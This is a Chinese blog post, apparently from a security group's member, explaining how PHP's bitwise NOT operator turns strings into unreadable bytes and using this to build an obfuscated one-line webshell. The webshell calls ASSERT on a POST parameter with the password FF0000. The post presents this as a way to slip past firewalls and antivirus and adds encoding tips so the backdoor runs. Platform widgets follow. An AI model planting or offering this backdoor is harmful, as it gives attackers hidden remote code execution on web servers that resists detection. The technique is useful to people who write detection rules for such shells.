php变量函数后门,PHP中使用按位取反(~)函数创建后门

1)PHP ~位运算符

PHP: 位运算符 - http://www.php.net/manual/zh/language.operators.bitwise.php

前一段时间老外在twitter上爆出个有趣的东西,一串疑似乱码的字符串访问后却能正常输出1337,于是便有了以下研究成果。

~ $a Not(按位取反) 将 $a 中为 0 的位设为 1,反之亦然。

PHP 的 ini 设定 error_reporting 使用了按位的值,提供了关闭某个位的真实例子。要显示除了提示级别之外的所有错误。

php.ini 中是这样用的: E_ALL & ~E_NOTICE

具体运作方式是先取得 E_ALL 的值: 00000000000000000111011111111111

再取得 E_NOTICE 的值: 00000000000000000000000000001000

然后通过 ~ 将其取反: 11111111111111111111111111110111

最后再用按位与 AND(&)得到两个值中都设定了(为 1)的位: 00000000000000000111011111110111

2)分析并重现

这个就是当时最原始的代码实现效果:

0c36d97ac5555f2819aab1a083f28574.jpg

当看到这个效果的时候最先想到的就是绕过防火墙等后门的实现,之后开始考虑这是哪种编码方式?

后来同李普君测试中发现直接使用echo ~'1';等则会直接输出以上的'乱码',方到看完PHP官方~函数的解释才恍然大悟。

d4bae82369b0c1b68858002c3c951d2b.jpg

那么我们便可以开始写一句话试试效果了:

?1

2

3

4

$x=~Ÿ¬¬º­«;

$x($_POST[~¹¹ÏÏÏÏ]);

?>

dce43b280eb151e970508f0e4c6edb01.jpg

这里定义$x变量为ASSERT,然后密码为FF0000直接链接后门便可,因为当位取反出来'乱码'后我们再取一次反即可返回正常值。

3)关于编码与免杀

当重现这个后门的时候我发现,直接Copy过来的直接HTTP状态500,源头是编码问题,上面这种'乱码'其实为西欧(ISO-8859-15)。

实际过程中我们遇到了多次后门无法链接出现500的错误均势因为编码问题,如果默认编码无法识别将编码方式保存为这种即可(GBKUTF8...均不能成功使用)

be2f41445abb8568cd4f37d211241025.png

Author: Evi1m0 [Email: evi1m0#ff0000.cc]

From: 邪红色信息安全组织 [FF0000 TeAm]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值